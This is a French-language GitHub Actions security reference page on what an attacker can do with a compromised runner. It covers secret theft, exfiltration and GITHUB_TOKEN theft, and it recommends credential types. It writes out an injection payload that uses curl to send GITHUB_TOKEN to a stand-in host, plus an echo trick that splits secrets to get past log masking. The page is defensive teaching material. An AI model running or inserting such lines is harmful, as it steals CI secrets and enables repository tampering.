Exécuteurs compromis

Impact potentiel d’un exécuteur compromis

Ces sections examinent certaines des étapes qu’un attaquant peut suivre s’il est en mesure d’exécuter des commandes malveillantes sur un GitHub Actions runner.

Accès aux secrets

Les workflows déclenchés depuis un dépôt dupliqué à l'aide de l'événement pull_request disposent d'autorisations en lecture seule et n'ont pas accès aux secrets. Toutefois, ces autorisations diffèrent pour divers déclencheurs d'événements comme issue_comment, issues, push et pull_request provenant d'une branche au sein du dépôt, où un attaquant pourrait tenter de voler des secrets de dépôt ou d'utiliser l'autorisation d'écriture de la tâche GITHUB_TOKEN.

• Si le secret ou le jeton est défini sur une variable d'environnement, il est directement accessible via l'environnement à l'aide de printenv.

• Si le secret est utilisé directement dans une expression, le script shell généré est stocké sur disque et est accessible.

• Pour une action personnalisée, le risque peut varier selon la façon dont un programme utilise le secret qu'il a obtenu à partir de l'argument :

  uses: fakeaction/publish@v3
  with:
      key: ${{ secrets.PUBLISH_KEY }}
  

Bien que GitHub Actions supprime de la mémoire les secrets qui ne sont pas référencés dans le flux de travail (ou dans une action incluse), les GITHUB_TOKEN et tous les secrets référencés peuvent être récupérés par un attaquant déterminé.

Exfiltration des données d’un exécuteur

Un attaquant peut exfiltrer les secrets volés ou d’autres données de l’exécuteur. Pour empêcher la divulgation accidentelle de secrets, GitHub Actionsréactez automatiquement les secrets imprimés dans le journal, mais ce n’est pas une véritable limite de sécurité, car les secrets peuvent être envoyés intentionnellement au journal. Par exemple, les secrets obfusqués peuvent être exfiltrés avec echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. En outre, étant donné que l'attaquant peut exécuter des commandes arbitraires, il peut utiliser des requêtes HTTP pour envoyer des secrets ou d'autres données de dépôt à un serveur externe.

Vol du GITHUB_TOKEN du travail

Il est possible qu’un attaquant vole le GITHUB_TOKEN d’un travail. Le runner GitHub Actions reçoit automatiquement un GITHUB_TOKEN généré dont les autorisations sont limitées au seul dépôt contenant le workflow, et le jeton expire une fois la tâche terminée. Une fois expiré, le jeton n'est plus utile à un attaquant. Pour contourner cette limitation, il peut automatiser l'attaque et l'effectuer en fractions de seconde en appelant un serveur contrôlé par l'attaquant avec le jeton, par exemple : a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Modification du contenu d'un référentiel

Le serveur attaquant peut utiliser l’API pour modifier le GitHubcontenu du référentiel, y compris les versions, si les autorisations GITHUB_TOKEN attribuées ne sont pas restreintes.

Accès à travers les référentiels

GitHub Actions est volontairement conçu pour un seul dépôt à la fois. GITHUB_TOKEN octroie le même niveau d'accès qu'un utilisateur disposant d'un accès en écriture, car tout utilisateur ayant un accès en écriture peut accéder à ce jeton en créant ou en modifiant un fichier de workflow, et en élevant les autorisations de GITHUB_TOKEN si nécessaire. Les utilisateurs disposent d’autorisations spécifiques pour chaque référentiel ; permettre à GITHUB_TOKEN pour un référentiel d’accorder l’accès à un autre aurait donc un impact sur le modèle d’autorisation GitHub si cela n’est pas mis en œuvre avec soin. De même, la prudence doit être prise lors de l’ajout GitHub de jetons d’authentification à un flux de travail, car cela peut également affecter le GitHub modèle d’autorisation en accordant par inadvertance un accès étendu aux collaborateurs.

Si votre organisation appartient à un compte d’entreprise, vous pouvez partager et réutiliser GitHub Actions en les stockant dans des référentiels internes. Pour plus d’informations, consultez « Partage d’actions et de workflows au sein de votre entreprise ».

Vous pouvez effectuer d’autres interactions privilégiées entre référentiels en référençant un jeton d’authentification GitHub ou une clé SSH comme secret dans le flux de travail. Étant donné que de nombreux types de jetons d'authentification ne tiennent pas compte de l'accès précis à des ressources spécifiques, il existe un risque important d'utiliser le type de jeton incorrect, car il peut accorder un accès beaucoup plus large que prévu.

Cette liste décrit les approches recommandées pour accéder aux données de dépôt dans un workflow, dans l'ordre décroissant de préférence :

1. LeGITHUB_TOKEN

   • L'étendue de ce jeton est intentionnellement limitée au dépôt qui a appelé le workflow. Le jeton peut avoir le même niveau d'accès qu'un utilisateur disposant d'un accès en écriture sur le dépôt. Le jeton est créé avant que chaque travail commence et expire lorsque le travail est terminé. Pour plus d’informations, consultez « Utiliser GITHUB_TOKEN pour l’authentification dans les flux de travail ».
   • GITHUB_TOKEN doit être utilisé chaque fois que possible.

2. Clé de déploiement de repository

   • Les clés de déploiement sont l'un des seuls types d'informations d'identification qui accordent un accès en lecture ou en écriture à un seul dépôt, et peuvent être utilisées pour interagir avec un autre dépôt dans un workflow. Pour plus d’informations, consultez « Gestion des clés de déploiement ».
   • Notez que les clés de déploiement peuvent uniquement cloner et envoyer des données vers le dépôt à l'aide de Git et ne peuvent pas être utilisées pour interagir avec l'API REST ou GraphQL, de sorte qu'elles ne sont peut-être pas appropriées à vos besoins.

3. ** GitHub App Jetons**

   • GitHub Apps peut être installé sur des référentiels sélectionnés, et même disposer d’autorisations granulaires sur les ressources qu’elles contiennent. Vous pouvez créer un GitHub App élément interne à votre organisation, l’installer sur les référentiels auxquels vous avez besoin d’accéder au sein de votre flux de travail et vous authentifier en tant qu’installation au sein de votre flux de travail pour accéder à ces référentiels. Pour plus d’informations, consultez « Effectuer des requêtes d’API authentifiées avec une application GitHub dans un flux de travail GitHub Actions ».

4. ** personal access token **

   • Vous ne devez jamais utiliser un personal access token (classic). Ces jetons accordent l'accès à tous les dépôts au sein des organisations auxquelles vous avez accès ainsi qu'à tous les dépôts personnels de votre compte personnel. Cela accorde indirectement un accès étendu à tous les utilisateurs avec un accès en écriture du dépôt dans lequel se trouve le workflow.
   • Si vous utilisez effectivement un personal access token, vous ne devez jamais utiliser un personal access token provenant de votre propre compte. Si vous quittez une organisation, les workflows utilisant ce jeton s'interrompent immédiatement et le débogage de ce problème peut être difficile. Au lieu de cela, vous devez utiliser un fine-grained personal access token nouveau compte qui appartient à votre organisation et qui n’a accès qu’aux référentiels spécifiques nécessaires au flux de travail. Notez que cette approche n'est pas scalable et doit être évitée en faveur d'alternatives, telles que les clés de déploiement.

5. Clés SSH sur un compte personnel

   • Les workflows ne doivent jamais utiliser les clés SSH sur un compte personnel. Comme pour personal access tokens (classic), ils accordent des autorisations de lecture/écriture à tous vos dépôts personnels ainsi que tous les référentiels auxquels vous avez accès via l’appartenance à l’organisation. Cela accorde indirectement un accès étendu à tous les utilisateurs avec un accès en écriture du dépôt dans lequel se trouve le workflow. Si vous envisagez d'utiliser une clé SSH parce que vous devez uniquement effectuer des clones ou des envois de dépôts, et non interagir avec des API publiques, vous devez utiliser des clés de déploiement individuelles à la place.

Étapes suivantes

Pour connaître les meilleures pratiques de sécurité avec GitHub Actions, consultez Informations de référence sur l’utilisation sécurisée.